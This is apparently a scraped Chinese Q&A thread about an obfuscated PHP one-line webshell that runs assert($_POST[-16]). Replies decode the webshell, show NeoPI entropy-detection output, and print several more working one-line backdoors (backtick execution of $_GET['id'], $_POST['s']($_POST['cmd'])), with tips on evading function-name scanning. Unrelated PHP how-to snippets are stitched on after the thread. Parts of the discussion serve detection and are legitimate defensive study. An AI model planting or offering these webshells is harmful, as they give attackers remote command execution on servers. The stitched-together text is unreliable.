看到一个有意思的php一句话:
<span class="cp"><?php </span> <span class="o">@</span><span class="nv">$_</span><span class="o">=</span><span class="s2">"s"</span><span class="o">.</span><span class="s2">"s"</span><span class="o">./*-/*-*/</span><span class="s2">"e"</span><span class="o">./*-/*-*/</span><span class="s2">"r"</span><span class="p">;</span> <span class="o">@</span><span class="nv">$_</span><span class="o">=/*-/*-*/</span><span class="s2">"a"</span><span class="o">./*-/*-*/</span><span class="nv">$_</span><span class="o">./*-/*-*/</span><span class="s2">"t"</span><span class="p">;</span> <span class="o">@</span><span class="nv">$_</span><span class="cm">/*-/*-*/</span><span class="p">(</span><span class="err">$</span><span class="cm">/*-/*-*/</span><span class="p">{</span><span class="s2">"_P"</span><span class="o">./*-/*-*/</span><span class="s2">"OS"</span><span class="o">./*-/*-*/</span><span class="s2">"T"</span><span class="p">}</span> <span class="p">[</span><span class="cm">/*-/*-*/</span><span class="mi">0</span><span class="cm">/*-/*-*/</span><span class="o">-/*-/*-*/</span><span class="mi">11</span><span class="cm">/*-/*-*/</span><span class="o">-/*-/*-*/</span><span class="mi">5</span><span class="cm">/*-/*-*/</span><span class="p">]);</span><span class="cp">?></span><span class="x"></span> </span>
回复内容:
assert($_POST[-16]);?> 我觉得题主应该是问的密码是多少吧,这个一句话后面注释全部去掉之后,POST数组的key其实是一个算术运算
0-11-5
这一点也谈不上新奇,也谈不上是我见过的最变态的PHP后门。如果有服务器权限,可以扫描文件的话(作为管理员没道理不行吧?),这类后门会被一类使用统计方法(计算包括信息熵、Index of Coincidence在内的一系列统计指标)的检测工具直接干爆。给一个很简单的例子:Neohapsis/NeoPI · GitHub
使用这个Python脚本检查这个文件:
[[ Average IC for Search ]]
0.139386719155
[[ Top 10 lowest IC files ]]
0.1394 ./test/test.php
[[ Top 10 entropic files for a given search ]]
3.5443 ./test/test.php
[[ Top 10 longest word files ]]
60 ./test/test.php
[[ Top 10 signature match counts ]]
0 ./test/test.php
[[ Top 10 SUPER-signature match counts (These are usually bad!) ]]
0 ./test/test.php
[[ Top cumulative ranked files ]]
5 ./test/test.php
/*-/*-*/ 注释 :)
作为一个看了一年后门的人,已经能分清一句话是公是母了,这种马确实不太奇怪,我觉得比较有意思的一句话后门有
echo `$_GET['id']` //插在文件中比较难发现
?>
<span class="cp"><?php</span> <span class="p">(</span><span class="nv">$_</span><span class="o">=</span><span class="nv">$I</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span><span class="o">.</span><span class="nv">$_</span><span class="p">(</span><span class="nv">$I</span><span class="o">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="mi">4</span><span class="p">])</span><span class="cp">?></span><span class="x"> 据说PKAV大牛最近写了个生成这种后门的网页</span>
<span class="cp"><?php</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'s'</span><span class="p">](</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span><span class="c1">//躲避函数名查杀</span>
<span class="cp">?></span><span class="x"></span>
<span class="x">还有用inlude调用图片的马</span>
仅仅是字符拆分,躲避关键函数名查杀。

php把负数转为正整数的方法:1、使用abs()函数将负数转为正数,使用intval()函数对正数取整,转为正整数,语法“intval(abs($number))”;2、利用“~”位运算符将负数取反加一,语法“~$number + 1”。

实现方法:1、使用“sleep(延迟秒数)”语句,可延迟执行函数若干秒;2、使用“time_nanosleep(延迟秒数,延迟纳秒数)”语句,可延迟执行函数若干秒和纳秒;3、使用“time_sleep_until(time()+7)”语句。

php除以100保留两位小数的方法:1、利用“/”运算符进行除法运算,语法“数值 / 100”;2、使用“number_format(除法结果, 2)”或“sprintf("%.2f",除法结果)”语句进行四舍五入的处理值,并保留两位小数。

判断方法:1、使用“strtotime("年-月-日")”语句将给定的年月日转换为时间戳格式;2、用“date("z",时间戳)+1”语句计算指定时间戳是一年的第几天。date()返回的天数是从0开始计算的,因此真实天数需要在此基础上加1。

php字符串有下标。在PHP中,下标不仅可以应用于数组和对象,还可应用于字符串,利用字符串的下标和中括号“[]”可以访问指定索引位置的字符,并对该字符进行读写,语法“字符串名[下标值]”;字符串的下标值(索引值)只能是整数类型,起始值为0。

在php中,可以使用substr()函数来读取字符串后几个字符,只需要将该函数的第二个参数设置为负值,第三个参数省略即可;语法为“substr(字符串,-n)”,表示读取从字符串结尾处向前数第n个字符开始,直到字符串结尾的全部字符。

方法:1、用“str_replace(" ","其他字符",$str)”语句,可将nbsp符替换为其他字符;2、用“preg_replace("/(\s|\ \;||\xc2\xa0)/","其他字符",$str)”语句。

php判断有没有小数点的方法:1、使用“strpos(数字字符串,'.')”语法,如果返回小数点在字符串中第一次出现的位置,则有小数点;2、使用“strrpos(数字字符串,'.')”语句,如果返回小数点在字符串中最后一次出现的位置,则有。


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